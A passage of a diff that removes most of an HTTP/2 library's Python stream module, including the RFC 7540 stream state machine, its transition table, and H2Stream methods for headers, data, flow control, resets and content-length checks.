headers, and when we have not yet sent our own response headers. - """ - # We should not send ALTSVC after we've sent response headers, as the - # client may have disposed of its state. - if self.headers_sent: - msg = "Cannot send ALTSVC after sending response headers." - raise ProtocolError(msg) - return [] - - - -# STATE MACHINE -# -# The stream state machine is defined here to avoid the need to allocate it -# repeatedly for each stream. It cannot be defined in the stream class because -# it needs to be able to reference the callbacks defined on the class, but -# because Python's scoping rules are weird the class object is not actually in -# scope during the body of the class object. -# -# For the sake of clarity, we reproduce the RFC 7540 state machine here: -# -# +--------+ -# send PP | | recv PP -# ,--------| idle |--------. -# / | | \ -# v +--------+ v -# +----------+ | +----------+ -# | | | send H / | | -# ,------| reserved | | recv H | reserved |------. -# | | (local) | | | (remote) | | -# | +----------+ v +----------+ | -# | | +--------+ | | -# | | recv ES | | send ES | | -# | send H | ,-------| open |-------. | recv H | -# | | / | | \ | | -# | v v +--------+ v v | -# | +----------+ | +----------+ | -# | | half | | | half | | -# | | closed | | send R / | closed | | -# | | (remote) | | recv R | (local) | | -# | +----------+ | +----------+ | -# | | | | | -# | | send ES / | recv ES / | | -# | | send R / v send R / | | -# | | recv R +--------+ recv R | | -# | send R / `----------->| |<-----------' send R / | -# | recv R | closed | recv R | -# `----------------------->| |<----------------------' -# +--------+ -# -# send: endpoint sends this frame -# recv: endpoint receives this frame -# -# H: HEADERS frame (with implied CONTINUATIONs) -# PP: PUSH_PROMISE frame (with implied CONTINUATIONs) -# ES: END_STREAM flag -# R: RST_STREAM frame -# -# For the purposes of this state machine we treat HEADERS and their -# associated CONTINUATION frames as a single jumbo frame. The protocol -# allows/requires this by preventing other frames from being interleved in -# between HEADERS/CONTINUATION frames. However, if a CONTINUATION frame is -# received without a prior HEADERS frame, it *will* be passed to this state -# machine. The state machine should always reject that frame, either as an -# invalid transition or because the stream is closed. -# -# There is a confusing relationship around PUSH_PROMISE frames. The state -# machine above considers them to be frames belonging to the new stream, -# which is *somewhat* true. However, they are sent with the stream ID of -# their related stream, and are only sendable in some cases. -# For this reason, our state machine implementation below allows for -# PUSH_PROMISE frames both in the IDLE state (as in the diagram), but also -# in the OPEN, HALF_CLOSED_LOCAL, and HALF_CLOSED_REMOTE states. -# Essentially, for h2, PUSH_PROMISE frames are effectively sent on -# two streams. -# -# The _transitions dictionary contains a mapping of tuples of -# (state, input) to tuples of (side_effect_function, end_state). This -# map contains all allowed transitions: anything not in this map is -# invalid and immediately causes a transition to ``closed``. -_transitions: dict[ - tuple[StreamState, StreamInputs], - tuple[Callable[[H2StreamStateMachine, StreamState], list[Event]] | None, StreamState], -] = { - # State: idle - (StreamState.IDLE, StreamInputs.SEND_HEADERS): - (H2StreamStateMachine.request_sent, StreamState.OPEN), - (StreamState.IDLE, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.request_received, StreamState.OPEN), - (StreamState.IDLE, StreamInputs.RECV_DATA): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.IDLE, StreamInputs.SEND_PUSH_PROMISE): - (H2StreamStateMachine.send_new_pushed_stream, - StreamState.RESERVED_LOCAL), - (StreamState.IDLE, StreamInputs.RECV_PUSH_PROMISE): - (H2StreamStateMachine.recv_new_pushed_stream, - StreamState.RESERVED_REMOTE), - (StreamState.IDLE, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (None, StreamState.IDLE), - (StreamState.IDLE, StreamInputs.UPGRADE_CLIENT): - (H2StreamStateMachine.request_sent, StreamState.HALF_CLOSED_LOCAL), - (StreamState.IDLE, StreamInputs.UPGRADE_SERVER): - (H2StreamStateMachine.request_received, - StreamState.HALF_CLOSED_REMOTE), - - # State: reserved local - (StreamState.RESERVED_LOCAL, StreamInputs.SEND_HEADERS): - (H2StreamStateMachine.response_sent, StreamState.HALF_CLOSED_REMOTE), - (StreamState.RESERVED_LOCAL, StreamInputs.RECV_DATA): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.RESERVED_LOCAL, StreamInputs.SEND_WINDOW_UPDATE): - (None, StreamState.RESERVED_LOCAL), - (StreamState.RESERVED_LOCAL, StreamInputs.RECV_WINDOW_UPDATE): - (H2StreamStateMachine.window_updated, StreamState.RESERVED_LOCAL), - (StreamState.RESERVED_LOCAL, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_reset_stream, StreamState.CLOSED), - (StreamState.RESERVED_LOCAL, StreamInputs.RECV_RST_STREAM): - (H2StreamStateMachine.stream_reset, StreamState.CLOSED), - (StreamState.RESERVED_LOCAL, StreamInputs.SEND_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.send_alt_svc, StreamState.RESERVED_LOCAL), - (StreamState.RESERVED_LOCAL, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (None, StreamState.RESERVED_LOCAL), - - # State: reserved remote - (StreamState.RESERVED_REMOTE, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.response_received, - StreamState.HALF_CLOSED_LOCAL), - (StreamState.RESERVED_REMOTE, StreamInputs.RECV_DATA): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.RESERVED_REMOTE, StreamInputs.SEND_WINDOW_UPDATE): - (None, StreamState.RESERVED_REMOTE), - (StreamState.RESERVED_REMOTE, StreamInputs.RECV_WINDOW_UPDATE): - (H2StreamStateMachine.window_updated, StreamState.RESERVED_REMOTE), - (StreamState.RESERVED_REMOTE, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_reset_stream, StreamState.CLOSED), - (StreamState.RESERVED_REMOTE, StreamInputs.RECV_RST_STREAM): - (H2StreamStateMachine.stream_reset, StreamState.CLOSED), - (StreamState.RESERVED_REMOTE, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.recv_alt_svc, StreamState.RESERVED_REMOTE), - - # State: open - (StreamState.OPEN, StreamInputs.SEND_HEADERS): - (H2StreamStateMachine.response_sent, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.response_received, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.SEND_DATA): - (None, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_DATA): - (H2StreamStateMachine.data_received, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.SEND_END_STREAM): - (None, StreamState.HALF_CLOSED_LOCAL), - (StreamState.OPEN, StreamInputs.RECV_END_STREAM): - (H2StreamStateMachine.stream_half_closed, - StreamState.HALF_CLOSED_REMOTE), - (StreamState.OPEN, StreamInputs.SEND_WINDOW_UPDATE): - (None, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_WINDOW_UPDATE): - (H2StreamStateMachine.window_updated, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_reset_stream, StreamState.CLOSED), - (StreamState.OPEN, StreamInputs.RECV_RST_STREAM): - (H2StreamStateMachine.stream_reset, StreamState.CLOSED), - (StreamState.OPEN, StreamInputs.SEND_PUSH_PROMISE): - (H2StreamStateMachine.send_push_promise, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_PUSH_PROMISE): - (H2StreamStateMachine.recv_push_promise, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.SEND_INFORMATIONAL_HEADERS): - (H2StreamStateMachine.send_informational_response, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_INFORMATIONAL_HEADERS): - (H2StreamStateMachine.recv_informational_response, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.SEND_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.send_alt_svc, StreamState.OPEN), - (StreamState.OPEN, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.recv_alt_svc, StreamState.OPEN), - - # State: half-closed remote - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_HEADERS): - (H2StreamStateMachine.response_sent, StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_DATA): - (None, StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_DATA): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_END_STREAM): - (H2StreamStateMachine.send_end_stream, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_WINDOW_UPDATE): - (None, StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_WINDOW_UPDATE): - (H2StreamStateMachine.window_updated, StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_reset_stream, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_RST_STREAM): - (H2StreamStateMachine.stream_reset, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_PUSH_PROMISE): - (H2StreamStateMachine.send_push_promise, - StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_PUSH_PROMISE): - (H2StreamStateMachine.reset_stream_on_error, StreamState.CLOSED), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_INFORMATIONAL_HEADERS): - (H2StreamStateMachine.send_informational_response, - StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.SEND_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.send_alt_svc, StreamState.HALF_CLOSED_REMOTE), - (StreamState.HALF_CLOSED_REMOTE, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.recv_alt_svc, StreamState.HALF_CLOSED_REMOTE), - - # State: half-closed local - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.response_received, - StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_DATA): - (H2StreamStateMachine.data_received, StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_END_STREAM): - (H2StreamStateMachine.stream_ended, StreamState.CLOSED), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.SEND_WINDOW_UPDATE): - (None, StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_WINDOW_UPDATE): - (H2StreamStateMachine.window_updated, StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_reset_stream, StreamState.CLOSED), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_RST_STREAM): - (H2StreamStateMachine.stream_reset, StreamState.CLOSED), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_PUSH_PROMISE): - (H2StreamStateMachine.recv_push_promise, - StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_INFORMATIONAL_HEADERS): - (H2StreamStateMachine.recv_informational_response, - StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.SEND_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.send_alt_svc, StreamState.HALF_CLOSED_LOCAL), - (StreamState.HALF_CLOSED_LOCAL, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (H2StreamStateMachine.recv_alt_svc, StreamState.HALF_CLOSED_LOCAL), - - # State: closed - (StreamState.CLOSED, StreamInputs.RECV_END_STREAM): - (None, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.RECV_ALTERNATIVE_SERVICE): - (None, StreamState.CLOSED), - - # RFC 7540 Section 5.1 defines how the end point should react when - # receiving a frame on a closed stream with the following statements: - # - # > An endpoint that receives any frame other than PRIORITY after receiving - # > a RST_STREAM MUST treat that as a stream error of type STREAM_CLOSED. - # > An endpoint that receives any frames after receiving a frame with the - # > END_STREAM flag set MUST treat that as a connection error of type - # > STREAM_CLOSED. - (StreamState.CLOSED, StreamInputs.RECV_HEADERS): - (H2StreamStateMachine.recv_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.RECV_DATA): - (H2StreamStateMachine.recv_on_closed_stream, StreamState.CLOSED), - - # > WINDOW_UPDATE or RST_STREAM frames can be received in this state - # > for a short period after a DATA or HEADERS frame containing a - # > END_STREAM flag is sent, as instructed in RFC 7540 Section 5.1. But we - # > don't have access to a clock so we just always allow it. - (StreamState.CLOSED, StreamInputs.RECV_WINDOW_UPDATE): - (None, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.RECV_RST_STREAM): - (None, StreamState.CLOSED), - - # > A receiver MUST treat the receipt of a PUSH_PROMISE on a stream that is - # > neither "open" nor "half-closed (local)" as a connection error of type - # > PROTOCOL_ERROR. - (StreamState.CLOSED, StreamInputs.RECV_PUSH_PROMISE): - (H2StreamStateMachine.recv_push_on_closed_stream, StreamState.CLOSED), - - # Also, users should be forbidden from sending on closed streams. - (StreamState.CLOSED, StreamInputs.SEND_HEADERS): - (H2StreamStateMachine.send_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.SEND_PUSH_PROMISE): - (H2StreamStateMachine.send_push_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.SEND_RST_STREAM): - (H2StreamStateMachine.send_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.SEND_DATA): - (H2StreamStateMachine.send_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.SEND_WINDOW_UPDATE): - (H2StreamStateMachine.send_on_closed_stream, StreamState.CLOSED), - (StreamState.CLOSED, StreamInputs.SEND_END_STREAM): - (H2StreamStateMachine.send_on_closed_stream, StreamState.CLOSED), -} - - -class H2Stream: - """ - A low-level HTTP/2 stream object. This handles building and receiving - frames and maintains per-stream state. - - This wraps a HTTP/2 Stream state machine implementation, ensuring that - frames can only be sent/received when the stream is in a valid state. - Attempts to create frames that cannot be sent will raise a - ``ProtocolError``. - """ - - def __init__(self, - stream_id: int, - config: H2Configuration, - inbound_window_size: int, - outbound_window_size: int) -> None: - self.state_machine = H2StreamStateMachine(stream_id) - self.stream_id = stream_id - self.max_outbound_frame_size: int | None = None - self.request_method: bytes | None = None - - # The current value of the outbound stream flow control window - self.outbound_flow_control_window = outbound_window_size - - # The flow control manager. - self._inbound_window_manager = WindowManager(inbound_window_size) - - # The expected content length, if any. - self._expected_content_length: int | None = None - - # The actual received content length. Always tracked. - self._actual_content_length = 0 - - # The authority we believe this stream belongs to. - self._authority: bytes | None = None - - # The configuration for this stream. - self.config = config - - def __repr__(self) -> str: - return f"<{type(self).__name__} id:{self.stream_id} state:{self.state_machine.state!r}>" - - @property - def inbound_flow_control_window(self) -> int: - """ - The size of the inbound flow control window for the stream. This is - rarely publicly useful: instead, use :meth:`remote_flow_control_window - `. This shortcut is - largely present to provide a shortcut to this data. - """ - return self._inbound_window_manager.current_window_size - - @property - def open(self) -> bool: - """ - Whether the stream is 'open' in any sense: that is, whether it counts - against the number of concurrent streams. - """ - # RFC 7540 Section 5.1.2 defines 'open' for this purpose to mean either - # the OPEN state or either of the HALF_CLOSED states. Perplexingly, - # this excludes the reserved states. - # For more detail on why we're doing this in this slightly weird way, - # see the comment on ``STREAM_OPEN`` at the top of the file. - return STREAM_OPEN[self.state_machine.state] - - @property - def closed(self) -> bool: - """ - Whether the stream is closed. - """ - return self.state_machine.state == StreamState.CLOSED - - @property - def closed_by(self) -> StreamClosedBy | None: - """ - Returns how the stream was closed, as one of StreamClosedBy. - """ - return self.state_machine.stream_closed_by - - def upgrade(self, client_side: bool) -> None: - """ - Called by the connection to indicate that this stream is the initial - request/response of an upgraded connection. Places the stream into an - appropriate state. - """ - self.config.logger.debug("Upgrading %r", self) - - assert self.stream_id == 1 - input_ = ( - StreamInputs.UPGRADE_CLIENT if client_side - else StreamInputs.UPGRADE_SERVER - ) - - # This may return events, we deliberately don't want them. - self.state_machine.process_input(input_) - - def send_headers(self, - headers: Iterable[HeaderWeaklyTyped], - encoder: Encoder, - end_stream: bool = False) -> list[HeadersFrame | ContinuationFrame | PushPromiseFrame]: - """ - Returns a list of HEADERS/CONTINUATION frames to emit as either headers - or trailers. - """ - self.config.logger.debug("Send headers %s on %r", headers, self) - - # Because encoding headers makes an irreversible change to the header - # compression context, we make the state transition before we encode - # them. - - # First, check if we're a client. If we are, no problem: if we aren't, - # we need to scan the header block to see if this is an informational - # response. - input_ = StreamInputs.SEND_HEADERS - - bytes_headers = utf8_encode_headers(headers) - - if ((not self.state_machine.client) and - is_informational_response(bytes_headers)): - if end_stream: - msg = "Cannot set END_STREAM on informational responses." - raise ProtocolError(msg) - - input_ = StreamInputs.SEND_INFORMATIONAL_HEADERS - - events = self.state_machine.process_input(input_) - - hf = HeadersFrame(self.stream_id) - hdr_validation_flags = self._build_hdr_validation_flags(events) - frames = self._build_headers_frames( - bytes_headers, encoder, hf, hdr_validation_flags, - ) - - if end_stream: - # Not a bug: the END_STREAM flag is valid on the initial HEADERS - # frame, not the CONTINUATION frames that follow. - self.state_machine.process_input(StreamInputs.SEND_END_STREAM) - frames[0].flags.add("END_STREAM") - - if self.state_machine.trailers_sent and not end_stream: - msg = "Trailers must have END_STREAM set." - raise ProtocolError(msg) - - if self.state_machine.client and self._authority is None: - self._authority = authority_from_headers(bytes_headers) - - # store request method for _initialize_content_length - self.request_method = extract_method_header(bytes_headers) - - return frames - - def push_stream_in_band(self, - related_stream_id: int, - headers: Iterable[HeaderWeaklyTyped], - encoder: Encoder) -> list[HeadersFrame | ContinuationFrame | PushPromiseFrame]: - """ - Returns a list of PUSH_PROMISE/CONTINUATION frames to emit as a pushed - stream header. Called on the stream that has the PUSH_PROMISE frame - sent on it. - """ - self.config.logger.debug("Push stream %r", self) - - # Because encoding headers makes an irreversible change to the header - # compression context, we make the state transition *first*. - - events = self.state_machine.process_input( - StreamInputs.SEND_PUSH_PROMISE, - ) - - ppf = PushPromiseFrame(self.stream_id) - ppf.promised_stream_id = related_stream_id - hdr_validation_flags = self._build_hdr_validation_flags(events) - - bytes_headers = utf8_encode_headers(headers) - - return self._build_headers_frames( - bytes_headers, encoder, ppf, hdr_validation_flags, - ) - - - def locally_pushed(self) -> list[Frame]: - """ - Mark this stream as one that was pushed by this peer. Must be called - immediately after initialization. Sends no frames, simply updates the - state machine. - """ - # This does not trigger any events. - events = self.state_machine.process_input( - StreamInputs.SEND_PUSH_PROMISE, - ) - assert not events - return [] - - def send_data(self, - data: bytes | memoryview, - end_stream: bool = False, - pad_length: int | None = None) -> list[Frame]: - """ - Prepare some data frames. Optionally end the stream. - - .. warning:: Does not perform flow control checks. - """ - self.config.logger.debug( - "Send data on %r with end stream set to %s", self, end_stream, - ) - - self.state_machine.process_input(StreamInputs.SEND_DATA) - - df = DataFrame(self.stream_id) - if isinstance(data, memoryview): - df.data = data.tobytes() - else: - df.data = data - if end_stream: - self.state_machine.process_input(StreamInputs.SEND_END_STREAM) - df.flags.add("END_STREAM") - if pad_length is not None: - df.flags.add("PADDED") - df.pad_length = pad_length - - # Subtract flow_controlled_length to account for possible padding - self.outbound_flow_control_window -= df.flow_controlled_length - assert self.outbound_flow_control_window >= 0 or df.flow_controlled_length == 0 - - return [df] - - def end_stream(self) -> list[Frame]: - """ - End a stream without sending data. - """ - self.config.logger.debug("End stream %r", self) - - self.state_machine.process_input(StreamInputs.SEND_END_STREAM) - df = DataFrame(self.stream_id) - df.flags.add("END_STREAM") - return [df] - - def advertise_alternative_service(self, field_value: bytes) -> list[Frame]: - """ - Advertise an RFC 7838 alternative service. The semantics of this are - better documented in the ``H2Connection`` class. - """ - self.config.logger.debug( - "Advertise alternative service of %r for %r", field_value, self, - ) - self.state_machine.process_input(StreamInputs.SEND_ALTERNATIVE_SERVICE) - asf = AltSvcFrame(self.stream_id) - asf.field = field_value - return [asf] - - def increase_flow_control_window(self, increment: int) -> list[Frame]: - """ - Increase the size of the flow control window for the remote side. - """ - self.config.logger.debug( - "Increase flow control window for %r by %d", - self, increment, - ) - self.state_machine.process_input(StreamInputs.SEND_WINDOW_UPDATE) - self._inbound_window_manager.window_opened(increment) - - wuf = WindowUpdateFrame(self.stream_id) - wuf.window_increment = increment - return [wuf] - - def receive_push_promise_in_band(self, - promised_stream_id: int, - headers: Iterable[Header], - header_encoding: bool | str | None) -> tuple[list[Frame], list[Event]]: - """ - Receives a push promise frame sent on this stream, pushing a remote - stream. This is called on the stream that has the PUSH_PROMISE sent - on it. - """ - self.config.logger.debug( - "Receive Push Promise on %r for remote stream %d", - self, promised_stream_id, - ) - events = self.state_machine.process_input( - StreamInputs.RECV_PUSH_PROMISE, - ) - push_event = cast("PushedStreamReceived", events[0]) - push_event.pushed_stream_id = promised_stream_id - - hdr_validation_flags = self._build_hdr_validation_flags(events) - push_event.headers = self._process_received_headers( - headers, hdr_validation_flags, header_encoding, - ) - return [], events - - def remotely_pushed(self, pushed_headers: Iterable[Header]) -> tuple[list[Frame], list[Event]]: - """ - Mark this stream as one that was pushed by the remote peer. Must be - called immediately after initialization. Sends no frames, simply - updates the state machine. - """ - self.config.logger.debug("%r pushed by remote peer", self) - events = self.state_machine.process_input( - StreamInputs.RECV_PUSH_PROMISE, - ) - self._authority = authority_from_headers(pushed_headers) - return [], events - - def receive_headers(self, - headers: Iterable[Header], - end_stream: bool, - header_encoding: bool | str | None) -> tuple[list[Frame], list[Event]]: - """ - Receive a set of headers (or trailers). - """ - if is_informational_response(headers): - if end_stream: - msg = "Cannot set END_STREAM on informational responses" - raise ProtocolError(msg) - input_ = StreamInputs.RECV_INFORMATIONAL_HEADERS - else: - input_ = StreamInputs.RECV_HEADERS - - events = self.state_machine.process_input(input_) - headers_event = cast( - "RequestReceived | ResponseReceived | TrailersReceived | InformationalResponseReceived", - events[0], - ) - - if end_stream: - es_events = self.state_machine.process_input( - StreamInputs.RECV_END_STREAM, - ) - # We ensured it's not an information response at the beginning of the method. - cast( - "RequestReceived | ResponseReceived | TrailersReceived", - headers_event, - ).stream_ended = cast("StreamEnded", es_events[0]) - events += es_events - - self._initialize_content_length(headers) - - if isinstance(headers_event, TrailersReceived) and not end_stream: - msg = "Trailers must have END_STREAM set" - raise ProtocolError(msg) - - hdr_validation_flags = self._build_hdr_validation_flags(events) - headers_event.headers = self._process_received_headers( - headers, hdr_validation_flags, header_encoding, - ) - return [], events - - def receive_data(self, data: bytes, end_stream: bool, flow_control_len: int) -> tuple[list[Frame], list[Event]]: - """ - Receive some data. - """ - self.config.logger.debug( - "Receive data on %r with end stream %s and flow control length " - "set to %d", self, end_stream, flow_control_len, - ) - events = self.state_machine.process_input(StreamInputs.RECV_DATA) - data_event = cast("DataReceived", events[0]) - self._inbound_window_manager.window_consumed(flow_control_len) - self._track_content_length(len(data), end_stream) - - if end_stream: - es_events = self.state_machine.process_input( - StreamInputs.RECV_END_STREAM, - ) - data_event.stream_ended = cast("StreamEnded", es_events[0]) - events.extend(es_events) - - data_event.data = data - data_event.flow_controlled_length = flow_control_len - return [], events - - def receive_window_update(self, increment: int) -> tuple[list[Frame], list[Event]]: - """ - Handle a WINDOW_UPDATE increment. - """ - self.config.logger.debug( - "Receive Window Update on %r for increment of %d", - self, increment, - ) - events = self.state_machine.process_input( - StreamInputs.RECV_WINDOW_UPDATE, - ) - frames = [] - - # If we encounter a problem with incrementing the flow control window, - # this should be treated as a *stream* error, not a *connection* error. - # That means we need to catch the error and forcibly close the stream. - if events: - cast("WindowUpdated", events[0]).delta = increment - try: - self.outbound_flow_control_window = guard_increment_window( - self.outbound_flow_control_window, - increment, - ) - except FlowControlError: - # Ok, this is bad. We're going to need to perform a local - # reset. - events = [ - StreamReset( - stream_id=self.stream_id, - error_code=ErrorCodes.FLOW_CONTROL_ERROR, - remote_reset=False, - ), - ] - frames = self.reset_stream(ErrorCodes.FLOW_CONTROL_ERROR) - - return frames, events - - def receive_continuation(self) -> None: - """ - A naked CONTINUATION frame has been received. This is always an error, - but the type of error it is depends on the state of the stream and must - transition the state of the stream, so we need to handle it. - """ - self.config.logger.debug("Receive Continuation frame on %r", self) - self.state_machine.process_input( - StreamInputs.RECV_CONTINUATION, - ) - msg = "Should not be reachable" # pragma: no cover - raise AssertionError(msg) # pragma: no cover - - def receive_alt_svc(self, frame: AltSvcFrame) -> tuple[list[Frame], list[Event]]: - """ - An Alternative Service frame was received on the stream. This frame - inherits the origin associated with this stream. - """ - self.config.logger.debug( - "Receive Alternative Service frame on stream %r", self, - ) - - # If the origin is present, RFC 7838 says we have to ignore it. - if frame.origin: - return [], [] - - events = self.state_machine.process_input( - StreamInputs.RECV_ALTERNATIVE_SERVICE, - ) - - # There are lots of situations where we want to ignore the ALTSVC - # frame. If we need to pay attention, we'll have an event and should - # fill it out. - if events: - assert isinstance(events[0], AlternativeServiceAvailable) - events[0].origin = self._authority - events[0].field_value = frame.field - - return [], events - - def reset_stream(self, error_code: ErrorCodes | int = 0) -> list[Frame]: - """ - Close the stream locally. Reset the stream with an error code. - """ - self.config.logger.debug( - "Local reset %r with error code: %d", self, error_code, - ) - self.state_machine.process_input(StreamInputs.SEND_RST_STREAM) - - rsf = RstStreamFrame(self.stream_id) - rsf.error_code = error_code - return [rsf] - - def stream_reset(self, frame: RstStreamFrame) -> tuple[list[Frame], list[Event]]: - """ - Handle a stream being reset remotely. - """ - self.config.logger.debug( - "Remote reset %r with error code: %d", self, frame.error_code, - ) - events = self.state_machine.process_input(StreamInputs.RECV_RST_STREAM) - - if events: - # We don't fire an event if this stream is already closed. - cast("StreamReset", events[0]).error_code = _error_code_from_int(frame.error_code) - - return [], events - - def acknowledge_received_data(self, acknowledged_size: int) -> list[Frame]: - """ - The user has informed us that they've processed some amount of data - that was received on this stream. Pass that to the window manager and - potentially return some WindowUpdate frames. - """ - self.config.logger.debug( - "Acknowledge received data with size %d on %r", - acknowledged_size, self, - ) - increment = self._inbound_window_manager.process_bytes( - acknowledged_size, - ) - if increment: - f = WindowUpdateFrame(self.stream_id) - f.window_increment = increment - return [f] - - return [] - - def _build_hdr_validation_flags(self, events: Any) -> HeaderValidationFlags: - """ - Constructs a set of header validation flags for use when normalizing - and validating header blocks. - """ - is_trailer = isinstance( - events[0], (_TrailersSent, TrailersReceived), - ) - is_response_header = isinstance( - events[0], - ( - _ResponseSent, - ResponseReceived, - InformationalResponseReceived, - ), - ) - is_push_promise = isinstance( - events[0], (PushedStreamReceived, _PushedRequestSent), - ) - - return HeaderValidationFlags( - is_client=self.state_machine.client or False, - is_trailer=is_trailer, - is_response_header=is_response_header, - is_push_promise=is_push_promise, - ) - - def _build_headers_frames(self, - headers: Iterable[Header], - encoder: Encoder, - first_frame: HeadersFrame | PushPromiseFrame, - hdr_validation_flags: HeaderValidationFlags) \ - -> list[HeadersFrame | ContinuationFrame | PushPromiseFrame]: - """ - Helper method to build headers or push promise frames. - """ - # We need to lowercase the header names, and to ensure that secure - # header fields are kept out of compression contexts. - if self.config.normalize_outbound_headers: - # also we may want to split outbound cookies to improve - # headers compression - should_split_outbound_cookies = self.config.split_outbound_cookies - - headers = normalize_outbound_headers( - headers, hdr_validation_flags, should_split_outbound_cookies, - ) - if self.config.validate_outbound_headers: - headers = validate_outbound_headers( - headers, hdr_validation_flags, - ) - - encoded_headers = encoder.encode(headers) - - # Slice into blocks of max_outbound_frame_size. Be careful with this: - # it only works right because we never send padded frames or priority - # information on the frames. Revisit this if we do. - header_blocks = [ - encoded_headers[i:i+(self.max_outbound_frame_size or 0)] - for i in range( - 0, len(encoded_headers), (self.max_outbound_frame_size or 0), - ) - ] - - frames: list[HeadersFrame | ContinuationFrame | PushPromiseFrame] = [] - first_frame.data = header_blocks[0] - frames.append(first_frame) - - for block in header_blocks[1:]: - cf = ContinuationFrame(self.stream_id) - cf.data = block - frames.append(cf) - - frames[-1].flags.add("END_HEADERS") - return frames - - def _process_received_headers(self, - headers: Iterable[Header], - header_validation_flags: HeaderValidationFlags, - header_encoding: bool | str | None) -> list[Header]: - """ - When headers have been received from the remote peer, run a processing - pipeline on them to transform them into the appropriate form for - attaching to an event. - """ - if self.config.normalize_inbound_headers: - headers = normalize_inbound_headers( - headers, header_validation_flags, - ) - - if self.config.validate_inbound_headers: - headers = validate_headers(headers, header_validation_flags) - - if isinstance(header_encoding, str): - headers = _decode_headers(headers, header_encoding) - - # The above steps are all generators, so we need to concretize the - # headers now. - return list(headers) - - def _initialize_content_length(self, headers: Iterable[Header]) -> None: - """ - Checks the headers for a content-length header and initializes the - _expected_content_length field from it. It's not an error for no - Content-Length header to be present. - """ - if self.request_method == b"HEAD": - self._expected_content_length = 0 - return - - content_length = None - - for n, v in headers: - if n == b"content-length": - if not v.isdigit(): - # https://www.rfc-editor.org/rfc/rfc9110.html#name-content-length - # RFC grammar for content-length is 1*DIGIT, so any non-digit value is invalid. - msg = f"Invalid content-length header: {v!r}" - raise ProtocolError(msg) - try: - parsed_content_length = int(v, 10) - except ValueError as err: - msg = f"Invalid content-length header: {v!r}" - raise ProtocolError(msg) from err - - if content_length is None: - content_length = parsed_content_length - elif parsed_content_length != content_length: - msg = f"Conflicting content-length headers: {content_length} and {parsed_content_length}" - raise ProtocolError(msg) - - self._expected_content_length = content_length - - def _track_content_length(self, length: int, end_stream: bool) -> None: - """ - Update the expected content length in response to data being received. - Validates that the appropriate amount of data is sent. Always updates 